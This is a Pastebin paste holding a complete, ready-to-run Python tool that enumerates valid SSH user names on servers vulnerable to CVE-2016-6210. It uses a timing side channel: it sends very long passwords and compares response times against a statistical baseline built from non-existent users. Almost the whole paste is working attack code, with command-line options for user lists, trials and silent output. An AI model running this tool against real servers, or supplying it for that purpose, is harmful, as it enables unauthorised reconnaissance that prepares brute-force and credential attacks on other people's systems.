Advertisement
Guest User

Untitled

a guest
Aug 23rd, 2017
86
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.45 KB | None | 0 0
  1. import paramiko
  2. import time
  3. import numpy
  4. import argparse
  5. import sys
  6.  
  7. args = None
  8.  
  9. class bcolors:
  10. HEADER = '\033[95m'
  11. OKBLUE = '\033[94m'
  12. OKGREEN = '\033[92m'
  13. WARNING = '\033[93m'
  14. FAIL = '\033[91m'
  15. ENDC = '\033[0m'
  16. BOLD = '\033[1m'
  17. UNDERLINE = '\033[4m'
  18.  
  19.  
  20. def get_args():
  21. parser = argparse.ArgumentParser()
  22. group = parser.add_mutually_exclusive_group()
  23. parser.add_argument("host", type = str, help = "Give SSH server address like ip:port or just by ip")
  24. group.add_argument("-u", "--user", type = str, help = "Give a single user name")
  25. group.add_argument("-U", "--userlist", type = str, help = "Give a file containing a list of users")
  26. parser.add_argument("-e", "--enumerated", action = "store_true", help = "Only show enumerated users")
  27. parser.add_argument("-s", "--silent", action = "store_true", help = "Like -e, but just the user names will be written to stdout (no banner, no anything)")
  28. parser.add_argument("--bytes", default = 50000, type = int, help = "Send so many BYTES to the SSH daemon as a password")
  29. parser.add_argument("--samples", default = 12, type = int, help = "Collect so many SAMPLES to calculate a timing baseline for authenticating non-existing users")
  30. parser.add_argument("--factor", default = 3.0, type = float, help = "Used to compute the upper timing boundary for user enumeration")
  31. parser.add_argument("--trials", default = 1, type = int, help = "try to authenticate user X for TRIALS times and compare the mean of auth timings against the timing boundary")
  32. args = parser.parse_args()
  33. return args
  34.  
  35.  
  36. def get_banner(host, port):
  37. ssh = paramiko.SSHClient()
  38. ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  39. try:
  40. ssh.connect(hostname = host, port = port, username = 'invalidinvalidinvalid', password = 'invalidinvalidinvalid')
  41. except:
  42. banner = ssh.get_transport().remote_version
  43. ssh.close()
  44. return banner
  45.  
  46.  
  47. def connect(host, port, user):
  48. global args
  49. starttime = 0.0
  50. endtime = 0.0
  51. p = 'B' * int(args.bytes)
  52. ssh = paramiko.SSHClient()
  53. ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  54. starttime=time.clock()
  55. try:
  56. ssh.connect(hostname = host, port = port, username = user, password = p, look_for_keys = False, gss_auth = False, gss_kex = False, gss_deleg_creds = False, gss_host = None, allow_agent = False)
  57. except:
  58. endtime=time.clock()
  59. finally:
  60. ssh.close()
  61. return endtime - starttime
  62.  
  63.  
  64.  
  65. def main():
  66. global args
  67. args = get_args()
  68. if not args.silent: print("\n\nUser name enumeration against SSH daemons affected by CVE-2016-6210")
  69. if not args.silent: print("Created and coded by 0_o (nu11.nu11 [at] yahoo.com), PoC by Eddie Harari\n\n")
  70. if args.host:
  71. host = args.host.split(":")[0]
  72. try:
  73. port = int(args.host.split(":")[1])
  74. except IndexError:
  75. port = 22
  76. users = []
  77. if args.user:
  78. users.append(args.user)
  79. elif args.userlist:
  80. with open(args.userlist, "r") as f:
  81. users = f.readlines()
  82. else:
  83. if not args.silent: print(bcolors.FAIL + "[!] " + bcolors.ENDC + "You must give a user or a list of users")
  84. sys.exit()
  85. if not args.silent: print(bcolors.OKBLUE + "[*] " + bcolors.ENDC + "Testing SSHD at: " + bcolors.BOLD + str(host) + ":" + str(port) + bcolors.ENDC + ", Banner: " + bcolors.BOLD + get_banner(host, port) + bcolors.ENDC)
  86. # get baseline timing for non-existing users...
  87. baseline_samples = []
  88. baseline_mean = 0.0
  89. baseline_deviation = 0.0
  90. if not args.silent: sys.stdout.write(bcolors.OKBLUE + "[*] " + bcolors.ENDC + "Getting baseline timing for authenticating non-existing users")
  91. for i in range(1, int(args.samples) + 1):
  92. if not args.silent: sys.stdout.write('.')
  93. if not args.silent: sys.stdout.flush()
  94. sample = connect(host, port, 'foobar-bleh-nonsense' + str(i))
  95. baseline_samples.append(sample)
  96. if not args.silent: sys.stdout.write('\n')
  97. # remove the biggest and smallest value
  98. baseline_samples.sort()
  99. baseline_samples.pop()
  100. baseline_samples.reverse()
  101. baseline_samples.pop()
  102. # do math
  103. baseline_mean = numpy.mean(numpy.array(baseline_samples))
  104. baseline_deviation = numpy.std(numpy.array(baseline_samples))
  105. if not args.silent: print(bcolors.OKBLUE + "[*] " + bcolors.ENDC + "Baseline mean for host " + host + " is " + str(baseline_mean) + " seconds.")
  106. if not args.silent: print(bcolors.OKBLUE + "[*] " + bcolors.ENDC + "Baseline variation for host " + host + " is " + str(baseline_deviation) + " seconds.")
  107. upper = baseline_mean + float(args.factor) * baseline_deviation
  108. if not args.silent: print(bcolors.WARNING + "[*] " + bcolors.ENDC + "Defining timing of x < " + str(upper) + " as non-existing user.")
  109. if not args.silent: print(bcolors.OKBLUE + "[*] " + bcolors.ENDC + "Testing your users...")
  110. #
  111. # Get timing for the given user name...
  112. #
  113. for u in users:
  114. user = u.strip()
  115. enum_samples = []
  116. enum_mean = 0.0
  117. for t in range(0, int(args.trials)):
  118. timeval = connect(host, port, user)
  119. enum_samples.append(timeval)
  120. enum_mean = numpy.mean(numpy.array(enum_samples))
  121. if (enum_mean < upper):
  122. if not (args.enumerated or args.silent) :
  123. print(bcolors.FAIL + "[-] " + bcolors.ENDC + user + " - timing: " + str(enum_mean))
  124. else:
  125. if not args.silent:
  126. print(bcolors.OKGREEN + "[+] " + bcolors.ENDC + user + " - timing: " + str(enum_mean))
  127. else:
  128. print(user)
  129.  
  130.  
  131.  
  132.  
  133. if __name__ == "__main__":
  134. main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement